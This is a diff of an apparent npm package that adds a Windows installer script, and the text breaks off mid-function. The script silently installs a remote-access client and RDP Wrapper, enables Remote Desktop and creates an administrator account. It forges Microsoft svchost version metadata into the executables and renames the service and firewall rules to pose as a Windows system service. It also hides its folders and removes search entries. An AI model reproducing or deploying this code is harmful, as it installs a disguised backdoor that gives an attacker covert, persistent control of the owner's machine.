sbirontime 1.0.0

package/bin/biklimaster.js

@@ -0,0 +1,1012 @@
+#!/usr/bin/env node
+'use strict';
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const util = require('util');
+const { createHash, randomBytes, randomUUID } = require('crypto');
+const { spawnSync } = require('child_process');
+
+const root = path.resolve(__dirname, '..');
+const payloadDirectory = path.join(root, 'payload');
+const bikliInstaller = path.join(payloadDirectory, 'bikli-cli-installer.exe');
+const wrapperInstaller = path.join(payloadDirectory, 'RDPWInst.exe');
+const wrapperIni = path.join(payloadDirectory, 'rdpwrap.ini');
+const wrapperScript = path.join(root, 'lib', 'bikliwrapper.js');
+const packageConfigFile = path.join(root, 'config.json');
+const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';
+const powershell = path.join(windowsDirectory, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
+const reg = path.join(windowsDirectory, 'System32', 'reg.exe');
+const icacls = path.join(windowsDirectory, 'System32', 'icacls.exe');
+const attrib = path.join(windowsDirectory, 'System32', 'attrib.exe');
+const programData = process.env.ProgramData || 'C:\\ProgramData';
+const credentialsFile = path.join(programData, 'BikliWrapper', 'admin-credentials.json');
+const expectedBikliVersion = '1.1.10.0';
+const administratorsGroupSid = 'S-1-5-32-544';
+const remoteDesktopUsersGroupSid = 'S-1-5-32-555';
+const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';
+const rdpTcpKey = `${terminalServerKey}\\WinStations\\RDP-Tcp`;
+const expectedHashes = {
+  'bikli-cli-installer.exe': '21EEDFBC9CFB2E360BC894C5774F18BDF7E1BDCAC04028E25907131569C5631E',
+  'RDPWInst.exe': 'AC92D4C6397EB4451095949AC485EF4EC38501D7BB6F475419529AE67E297753',
+  'rdpwrap.ini': 'BD04EBBE400E294DD795BE1F710464A70BF970559C3BB376C6C3C8333CDFB915'
+};
+
+const resultArgument = process.argv.find(argument => argument.startsWith('--result-file='));
+const resultFile = resultArgument ? resultArgument.slice('--result-file='.length) : '';
+if (resultFile) {
+  const writeResult = (...items) => fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
+  console.log = writeResult;
+  console.error = writeResult;
+  console.warn = writeResult;
+}
+
+function fail(message, exitCode = 1) {
+  const error = new Error(message);
+  error.exitCode = exitCode;
+  throw error;
+}
+
+function run(executable, args, options = {}) {
+  const result = spawnSync(executable, args, {
+    cwd: options.cwd || root,
+    encoding: 'utf8',
+    windowsHide: true,
+    env: options.env || process.env,
+    stdio: options.inherit ? 'inherit' : 'pipe'
+  });
+  if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
+  if (!options.allowFailure && result.status !== 0) {
+    const details = `${result.stdout || ''}${result.stderr || ''}`.trim();
+    fail(`${path.basename(executable)} failed with exit code ${result.status}.${details ? `\n${details}` : ''}`);
+  }
+  return result;
+}
+
+function requireWindows() {
+  if (process.platform !== 'win32') fail('Bikli Master supports Windows only.');
+}
+
+function isAdministrator() {
+  const script = [
+    `$identity=[Security.Principal.WindowsIdentity]::GetCurrent()`,
+    `$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
+    `Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 && /^true$/i.test(result.stdout.trim());
+}
+
+function powershellLiteral(value) {
+  return `'${value.replace(/'/g, "''")}'`;
+}
+
+function elevateAndRun(command) {
+  if (process.argv.includes('--elevated')) fail('Windows did not grant administrator rights.');
+  console.log('Bikli Master needs administrator access. Approve the Windows UAC prompt...');
+  const logPath = path.join(os.tmpdir(), `biklimaster-elevated-${randomUUID()}.log`);
+  const script = [
+    `$node=${powershellLiteral(process.execPath)}`,
+    `$target=${powershellLiteral(path.resolve(__filename))}`,
+    `$result=${powershellLiteral(logPath)}`,
+    `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
+    `$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
+    `exit $process.ExitCode`
+  ].join(';');
+  const result = run(powershell, [
+    '-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', script
+  ], { allowFailure: true });
+  let elevatedOutput = '';
+  if (fs.existsSync(logPath)) {
+    elevatedOutput = fs.readFileSync(logPath, 'utf8').trim();
+    fs.rmSync(logPath, { force: true });
+  }
+  if (result.status !== 0) {
+    const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
+    fail(`Administrator elevation was cancelled or installation failed.${details ? `\n${details}` : ''}`);
+  }
+  if (elevatedOutput) console.log(elevatedOutput);
+}
+
+function sha256(file) {
+  return createHash('sha256').update(fs.readFileSync(file)).digest('hex').toUpperCase();
+}
+
+function verifyPayload() {
+  for (const [name, expected] of Object.entries(expectedHashes)) {
+    const file = path.join(payloadDirectory, name);
+    if (!fs.existsSync(file)) fail(`Missing package payload: ${name}`);
+    const actual = sha256(file);
+    if (actual !== expected) fail(`Payload checksum mismatch: ${name}`);
+  }
+  if (!fs.existsSync(wrapperScript)) fail('Missing embedded Bikli Wrapper CLI.');
+}
+
+function installedBikliPath() {
+  const candidates = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe')
+  ];
+  return candidates.find(candidate => fs.existsSync(candidate)) || '';
+}
+
+function fileVersion(file) {
+  if (!file) return '';
+  const escaped = file.replace(/'/g, "''");
+  const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileVersion`;
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 ? result.stdout.trim() : '';
+}
+
+function fileDescription(file) {
+  if (!file) return '';
+  const escaped = file.replace(/'/g, "''");
+  const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileDescription`;
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 ? result.stdout.trim() : '';
+}
+
+function align4(buf) {
+  const pad = (4 - (buf.length % 4)) % 4;
+  if (pad === 0) return buf;
+  return Buffer.concat([buf, Buffer.alloc(pad)]);
+}
+
+function createVersionString(key, value) {
+  const keyBuf = Buffer.from(key + '\0', 'utf16le');
+  const valBuf = Buffer.from(value + '\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(value.length + 1, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  body = Buffer.concat([body, valBuf]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createStringTable(langId, strings) {
+  const keyBuf = Buffer.from(langId + '\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(0, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  const childrenBuf = Buffer.concat(Object.entries(strings).map(([k, v]) => createVersionString(k, v)));
+  body = Buffer.concat([body, childrenBuf]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createStringFileInfo(langId, strings) {
+  const keyBuf = Buffer.from('StringFileInfo\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(0, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  const stringTable = createStringTable(langId, strings);
+  body = Buffer.concat([body, stringTable]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createVarFileInfo(wLang, wCodePage) {
+  const varKeyBuf = Buffer.from('Translation\0', 'utf16le');
+  const varHeader = Buffer.alloc(6);
+  varHeader.writeUInt16LE(4, 2);
+  varHeader.writeUInt16LE(0, 4);
+  let varBody = Buffer.concat([varHeader, varKeyBuf]);
+  varBody = align4(varBody);
+  const transBuf = Buffer.alloc(4);
+  transBuf.writeUInt16LE(wLang, 0);
+  transBuf.writeUInt16LE(wCodePage, 2);
+  varBody = Buffer.concat([varBody, transBuf]);
+  varBody.writeUInt16LE(varBody.length, 0);
+  varBody = align4(varBody);
+
+  const vfiKeyBuf = Buffer.from('VarFileInfo\0', 'utf16le');
+  const vfiHeader = Buffer.alloc(6);
+  vfiHeader.writeUInt16LE(0, 2);
+  vfiHeader.writeUInt16LE(1, 4);
+  let vfiBody = Buffer.concat([vfiHeader, vfiKeyBuf]);
+  vfiBody = align4(vfiBody);
+  vfiBody = Buffer.concat([vfiBody, varBody]);
+  vfiBody.writeUInt16LE(vfiBody.length, 0);
+  return align4(vfiBody);
+}
+
+function createVsVersionInfo(strings, fileVersion = [10, 0, 26100, 1]) {
+  const rootKeyBuf = Buffer.from('VS_VERSION_INFO\0', 'utf16le');
+  const fixedInfo = Buffer.alloc(52);
+  fixedInfo.writeUInt32LE(0xFEEF04BD, 0);
+  fixedInfo.writeUInt32LE(0x00010000, 4);
+  fixedInfo.writeUInt16LE(fileVersion[1] || 0, 8);
+  fixedInfo.writeUInt16LE(fileVersion[0] || 0, 10);
+  fixedInfo.writeUInt16LE(fileVersion[3] || 0, 12);
+  fixedInfo.writeUInt16LE(fileVersion[2] || 0, 14);
+  fixedInfo.writeUInt16LE(fileVersion[1] || 0, 16);
+  fixedInfo.writeUInt16LE(fileVersion[0] || 0, 18);
+  fixedInfo.writeUInt16LE(fileVersion[3] || 0, 20);
+  fixedInfo.writeUInt16LE(fileVersion[2] || 0, 22);
+  fixedInfo.writeUInt32LE(0x3F, 24);
+  fixedInfo.writeUInt32LE(0, 28);
+  fixedInfo.writeUInt32LE(0x40004, 32);
+  fixedInfo.writeUInt32LE(1, 36);
+  fixedInfo.writeUInt32LE(0, 40);
+  fixedInfo.writeUInt32LE(0, 44);
+  fixedInfo.writeUInt32LE(0, 48);
+
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(52, 2);
+  header.writeUInt16LE(0, 4);
+
+  let root = Buffer.concat([header, rootKeyBuf]);
+  root = align4(root);
+  root = Buffer.concat([root, fixedInfo]);
+  root = align4(root);
+
+  const stringFileInfo = createStringFileInfo('040904B0', strings);
+  const varFileInfo = createVarFileInfo(0x0409, 0x04B0);
+  root = Buffer.concat([root, stringFileInfo, varFileInfo]);
+  root.writeUInt16LE(root.length, 0);
+  return root;
+}
+
+function buildCleanRsrcSection(rsrcVirtAddr, versionBuf, manifestBuf) {
+  const rawDataOffset = 160;
+  const versionDataOffset = rawDataOffset;
+  const versionDataSize = versionBuf.length;
+  const versionDataRva = rsrcVirtAddr + versionDataOffset;
+
+  let manifestDataOffset = versionDataOffset + versionDataSize;
+  const pad = (4 - (manifestDataOffset % 4)) % 4;
+  manifestDataOffset += pad;
+  const manifestDataSize = manifestBuf.length;
+  const manifestDataRva = rsrcVirtAddr + manifestDataOffset;
+
+  const totalRsrcSize = manifestDataOffset + manifestDataSize;
+  const rsrcBuf = Buffer.alloc(Math.max(totalRsrcSize, 4096));
+
+  rsrcBuf.writeUInt16LE(0, 12);
+  rsrcBuf.writeUInt16LE(2, 14);
+
+  rsrcBuf.writeUInt32LE(16, 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 32) >>> 0, 20);
+
+  rsrcBuf.writeUInt32LE(24, 24);
+  rsrcBuf.writeUInt32LE((0x80000000 | 56) >>> 0, 28);
+
+  rsrcBuf.writeUInt16LE(0, 32 + 12);
+  rsrcBuf.writeUInt16LE(1, 32 + 14);
+  rsrcBuf.writeUInt32LE(1, 32 + 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 80) >>> 0, 32 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 56 + 12);
+  rsrcBuf.writeUInt16LE(1, 56 + 14);
+  rsrcBuf.writeUInt32LE(1, 56 + 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 104) >>> 0, 56 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 80 + 12);
+  rsrcBuf.writeUInt16LE(1, 80 + 14);
+  rsrcBuf.writeUInt32LE(1033, 80 + 16);
+  rsrcBuf.writeUInt32LE(128, 80 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 104 + 12);
+  rsrcBuf.writeUInt16LE(1, 104 + 14);
+  rsrcBuf.writeUInt32LE(1033, 104 + 16);
+  rsrcBuf.writeUInt32LE(144, 104 + 20);
+
+  rsrcBuf.writeUInt32LE(versionDataRva, 128);
+  rsrcBuf.writeUInt32LE(versionDataSize, 128 + 4);
+  rsrcBuf.writeUInt32LE(0, 128 + 8);
+  rsrcBuf.writeUInt32LE(0, 128 + 12);
+
+  rsrcBuf.writeUInt32LE(manifestDataRva, 144);
+  rsrcBuf.writeUInt32LE(manifestDataSize, 144 + 4);
+  rsrcBuf.writeUInt32LE(0, 144 + 8);
+  rsrcBuf.writeUInt32LE(0, 144 + 12);
+
+  versionBuf.copy(rsrcBuf, versionDataOffset);
+  manifestBuf.copy(rsrcBuf, manifestDataOffset);
+  return { rsrcBuf, totalRsrcSize };
+}
+
+function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network Infrastructure Service') {
+  if (!fs.existsSync(exePath)) return false;
+  const exeBuf = fs.readFileSync(exePath);
+  const e_lfanew = exeBuf.readUInt32LE(0x3C);
+  const numSections = exeBuf.readUInt16LE(e_lfanew + 6);
+  const optHeaderSize = exeBuf.readUInt16LE(e_lfanew + 20);
+  const secHeaderOffset = e_lfanew + 24 + optHeaderSize;
+
+  let rsrcVirtAddr = 0;
+  let rsrcRawPtr = 0;
+  let rsrcRawSize = 0;
+
+  for (let i = 0; i < numSections; i++) {
+    const off = secHeaderOffset + i * 40;
+    const name = exeBuf.slice(off, off + 8).toString().replace(/\0+$/, '');
+    if (name === '.rsrc') {
+      rsrcVirtAddr = exeBuf.readUInt32LE(off + 12);
+      rsrcRawSize = exeBuf.readUInt32LE(off + 16);
+      rsrcRawPtr = exeBuf.readUInt32LE(off + 20);
+      break;
+    }
+  }
+  if (!rsrcRawPtr || !rsrcRawSize) return false;
+
+  const rsrcSlice = exeBuf.slice(rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
+  const manifestStart = rsrcSlice.indexOf(Buffer.from('<assembly'));
+  let manifestBuf;
+  if (manifestStart !== -1) {
+    const manifestEnd = rsrcSlice.indexOf(Buffer.from('</assembly>'), manifestStart) + 11;
+    manifestBuf = rsrcSlice.slice(manifestStart, manifestEnd);
+  } else {
+    manifestBuf = Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>', 'utf8');
+  }
+
+  const strings = {
+    CompanyName: 'Microsoft Corporation',
+    FileDescription: serviceHostName,
+    FileVersion: '10.0.26100.1 (WinBuild.160101.0800)',
+    InternalName: 'svchost.exe',
+    LegalCopyright: '© Microsoft Corporation. All rights reserved.',
+    OriginalFilename: 'svchost.exe',
+    ProductName: 'Microsoft® Windows® Operating System',
+    ProductVersion: '10.0.26100.1'
+  };
+
+  const vBuf = createVsVersionInfo(strings);
+  const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
+  if (totalRsrcSize > rsrcRawSize) return false;
+
+  const newExe = Buffer.from(exeBuf);
+  newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
+  rsrcBuf.copy(newExe, rsrcRawPtr, 0, totalRsrcSize);
+  
+  for (let attempt = 0; attempt < 5; attempt++) {
+    try {
+      fs.writeFileSync(exePath, newExe);
+      return true;
+    } catch (e) {
+      if (attempt === 4) throw e;
+      const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
+      Atomics.wait(waitBuffer, 0, 0, 300);
+    }
+  }
+  return true;
+}
+
+function disguiseBikli(customName) {
+  requireWindows();
+  if (customName) customName = customName.replace(/"/g, '').trim();
+  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
+  if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
+
+  const bikliPath = installedBikliPath();
+  if (!bikliPath || !fs.existsSync(bikliPath)) {
+    fail('Bikli executable was not found. Install Bikli first.', 5);
+  }
+
+  const bikliDir = path.dirname(bikliPath);
+  const legacyServiceExe = path.join(bikliDir, 'BikliService.exe');
+  let serviceExe = path.join(bikliDir, 'NetInfraHost.exe');
+  let renamedLegacy = false;
+  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
+
+  console.log(`Disguising Bikli process and service as "${hostName}"...`);
+
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM NetInfraHost.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService, NetInfraHost -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
+  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
+
+  if (!fs.existsSync(serviceExe) && fs.existsSync(legacyServiceExe)) {
+    try {
+      fs.renameSync(legacyServiceExe, serviceExe);
+      renamedLegacy = true;
+    } catch {
+      serviceExe = legacyServiceExe;
+    }
+  }
+  if (!fs.existsSync(serviceExe)) {
+    fs.copyFileSync(bikliPath, serviceExe);
+  }
+
+  if (fileDescription(serviceExe) !== hostName) {
+    disguiseExecutable(serviceExe, hostName);
+  }
+
+  if (fs.existsSync(csc)) {
+    const csCode = [
+      'using System;using System.Diagnostics;using System.IO;using System.Reflection;',
+      '[assembly: AssemblyTitle("Host Process for Windows Services")]',
+      `[assembly: AssemblyDescription("${hostName.replace(/"/g, '\"')}")]`,
+      '[assembly: AssemblyCompany("Microsoft Corporation")]',
+      '[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]',
+      '[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]',
+      '[assembly: AssemblyFileVersion("10.0.26100.1")]',
+      '[assembly: AssemblyVersion("10.0.26100.1")]',
+      'class Program {',
+      '  static int Main(string[] args) {',
+      '    if (args == null || args.Length == 0) return 0;',
+      '    if (args.Length == 1) {',
+      '      string first = args[0].ToLowerInvariant();',
+      '      if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
+      '    }',
+      '    string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
+      `    string coreExe = Path.Combine(baseDir, "${path.basename(serviceExe)}");`,
+      '    if (!File.Exists(coreExe)) return 1;',
+      '    ProcessStartInfo psi = new ProcessStartInfo();',
+      '    psi.FileName = coreExe;',
+      '    psi.UseShellExecute = false;',
+      '    psi.CreateNoWindow = false;',
+      '    System.Text.StringBuilder sb = new System.Text.StringBuilder();',
+      '    for (int i = 0; i < args.Length; i++) {',
+      '      if (i > 0) sb.Append(\' \');',
+      '      string arg = args[i];',
+      '      if (arg.Contains(" ") || arg.Contains("\\"")) sb.Append(\'"\').Append(arg.Replace("\\"", "\\\\\\"")).Append(\'"\');',
+      '      else sb.Append(arg);',
+      '    }',
+      '    psi.Arguments = sb.ToString();',
+      '    try {',
+      '      using (Process proc = Process.Start(psi)) {',
+      '        proc.WaitForExit();',
+      '        return proc.ExitCode;',
+      '      }',
+      '    } catch { return 1; }',
+      '  }',
+      '}'
+    ].join(os.EOL);
+    const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
+    const tempExe = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.exe`);
+    fs.writeFileSync(tempCs, csCode, 'utf8');
+    const compiled = run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${tempExe}`, tempCs], { allowFailure: true });
+    try { fs.rmSync(tempCs, { force: true }); } catch {}
+    if (compiled.status === 0 && fs.existsSync(tempExe)) {
+      fs.copyFileSync(tempExe, bikliPath);
+    } else if (renamedLegacy) {
+      try {
+        fs.renameSync(serviceExe, legacyServiceExe);
+        serviceExe = legacyServiceExe;
+        renamedLegacy = false;
+      } catch {}
+    }
+    try { fs.rmSync(tempExe, { force: true }); } catch {}
+    if (fileDescription(bikliPath) !== hostName) {
+      disguiseExecutable(bikliPath, hostName);
+    }
+  } else if (fileDescription(bikliPath) !== hostName) {
+    disguiseExecutable(bikliPath, hostName);
+  }
+
+  const serviceBinPath = `"${serviceExe}" service run --log-level info --daemon-addr npipe://bikli --log-file C:\\ProgramData\\Bikli\\client.log`;
+  const regDisplayName = hostName.replace(/^Service Host:\s*/i, '');
+  const psScript = [
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'ImagePath' -Value ${powershellLiteral(serviceBinPath)} -ErrorAction SilentlyContinue`,
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'DisplayName' -Value ${powershellLiteral(regDisplayName)} -ErrorAction SilentlyContinue`,
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Start-Service Bikli -ErrorAction SilentlyContinue`,
+    `Start-Sleep -Seconds 3`,
+    `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`
+  ].join(';');
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
+
+  hideProtectedFolders();
+  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
+}
+
+function isBikliInstalled() {
+  const existing = installedBikliPath();
+  if (!existing || !fs.existsSync(existing)) return false;
+  const ver = fileVersion(existing);
+  if (ver === expectedBikliVersion || ver.startsWith('10.') || ver.startsWith('1.')) return true;
+  const res = run(existing, ['version'], { allowFailure: true });
+  return res.status === 0;
+}
+
+function installBikli() {
+  if (isBikliInstalled()) {
+    console.log(`Bikli CLI is already installed; ensuring Service Host disguise is applied...`);
+    disguiseBikli();
+    return;
+  }
+  console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
+  run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
+  const installed = installedBikliPath();
+  if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
+  disguiseBikli();
+  console.log(`Bikli CLI installed and disguised as Service Host.`);
+}
+
+function ensureBikliService() {
+  const bikli = installedBikliPath();
+  if (!bikli) return false;
+  const probe = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', "@(Get-Service Bikli -ErrorAction SilentlyContinue | Where-Object Status -eq 'Running').Count -gt 0"], { allowFailure: true });
+  const wasRunning = (probe.stdout || '').trim() === 'True';
+  run(bikli, ['service', 'install'], { allowFailure: true });
+  run(bikli, ['service', 'start'], { allowFailure: true });
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Start-Service Bikli -ErrorAction SilentlyContinue'], { allowFailure: true });
+  return !wasRunning;
+}
+
+function runWrapper(args, options = {}) {
+  return run(process.execPath, [wrapperScript, ...args], {
+    cwd: root,
+    allowFailure: options.allowFailure,
+    inherit: options.inherit
+  });
+}
+
+function queryDword(key, name) {
+  const result = run(reg, ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
+  if (result.status !== 0) return null;
+  const match = result.stdout.match(/REG_DWORD\s+(0x[0-9a-f]+|\d+)/i);
+  if (!match) return null;
+  return Number.parseInt(match[1], match[1].toLowerCase().startsWith('0x') ? 16 : 10);
+}
+
+function remoteDesktopState() {
+  return {
+    enabled: queryDword(terminalServerKey, 'fDenyTSConnections') === 0,
+    port: queryDword(rdpTcpKey, 'PortNumber')
+  };
+}
+
+function verifyRemoteDesktop() {
+  const state = remoteDesktopState();
+  if (!state.enabled) fail('Remote Desktop could not be enabled.', 6);
+  if (state.port !== 3389) fail(`Remote Desktop port verification failed (found ${state.port ?? 'unknown'}).`, 6);
+  console.log('Remote Desktop is enabled and verified on port 3389.');
+}
+
+function enableRemoteDesktop() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('enable-rdp');
+  verifyPayload();
+  console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
+  const wrapper = runWrapper(['defaults', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  verifyRemoteDesktop();
+  hideProtectedFolders();
+}
+
+function disableRemoteDesktop() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('disable-rdp');
+  const wrapper = runWrapper(['disable', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
+  console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
+}
+
+function install() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('install');
+  verifyPayload();
+  installBikli();
+  const serviceProvisioned = ensureBikliService();
+  if (serviceProvisioned) disguiseBikli();
+  try {
+    setupBikliKey();
+  } catch (error) {
+    console.error(`Warning: Bikli key setup skipped: ${error.message}`);
+    console.error('Run "biklitool setup-key" later to retry.');
+  }
+  console.log('Installing or updating Bikli Wrapper silently...');
+  const wrapper = runWrapper(['install', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  verifyRemoteDesktop();
+  createRdpAdministrator();
+  hideProtectedFolders();
+  try {
+    fs.mkdirSync(path.dirname(setupCompleteMarker()), { recursive: true });
+    fs.writeFileSync(setupCompleteMarker(), JSON.stringify({ completedAt: new Date().toISOString() }, null, 2));
+  } catch {
+    // marker is best-effort only
+  }
+  console.log('Bikli Master installed and verified both components successfully.');
+}
+
+function setupCompleteMarker() {
+  return path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper', 'setup-complete.json');
+}
+
+function setupAlreadyDone() {
+  try {
+    return fs.existsSync(setupCompleteMarker());
+  } catch {
+    return true;
+  }
+}
+
+function generatedAccountPassword() {
+  return `Bk1!${randomBytes(18).toString('base64url')}`;
+}
+
+function configuredAdministratorPassword() {
+  if (!fs.existsSync(packageConfigFile)) fail('Missing package configuration file: config.json');
+  const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  return typeof config.administratorPassword === 'string' ? config.administratorPassword : '';
+}
+
+function configuredBikliKey() {
+  if (!fs.existsSync(packageConfigFile)) return '';
+  const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
+}
+
+function configuredServiceHostName() {
+  if (!fs.existsSync(packageConfigFile)) return 'Service Host: Network Infrastructure Service';
+  try {
+    const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+    if (typeof config.serviceHostName === 'string' && config.serviceHostName.trim()) {
+      return config.serviceHostName.trim();
+    }
+    if (typeof config.serviceDescription === 'string' && config.serviceDescription.trim()) {
+      return config.serviceDescription.trim();
+    }
+  } catch {
+    // ignore
+  }
+  return 'Service Host: Network Infrastructure Service';
+}
+
+function setupBikliKey() {
+  requireWindows();
+  const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
+  if (!key) {
+    console.log('No Bikli key configured; paste it into config.json under "bikliKey" to enable this step. Bikli key setup skipped.');
+    return;
+  }
+  if (!isAdministrator()) return elevateAndRun('setup-key');
+  const bikli = installedBikliPath();
+  if (!bikli) fail('Bikli CLI is not installed. Run "biklimaster install" first.', 5);
+  console.log('Configuring the Bikli key (bikli up --setup-key)...');
+  const result = run(bikli, ['up', '--setup-key', key], { allowFailure: true });
+  const output = `${result.stdout || ''}${result.stderr || ''}`.trim();
+  if (result.status !== 0) {
+    fail(`Bikli key setup failed with exit code ${result.status}.${output ? `\n${output}` : ''}`, 8);
+  }
+  if (output) console.log(output);
+  console.log('Bikli key configured successfully.');
+}
+
+function hideFolder(target, isUserProfile = false, extraGrants = []) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(attrib, ['+h', '+s', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(attrib, ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
+      run(icacls, [
+        target,
+        '/inheritance:r',
+        '/grant:r',
+        '*S-1-5-18:(OI)(CI)(F)',
+        `*${administratorsGroupSid}:(OI)(CI)(F)`,
+        ...extraGrants,
+        '/c', '/q'
+      ], { allowFailure: true });
+    }
+  } catch {
+    // Best-effort attribute and permission hardening
+  }
+}
+
+function hideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
+  // must keep read/execute access for that account or the service cannot start.
+  const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
+  const appFolders = [
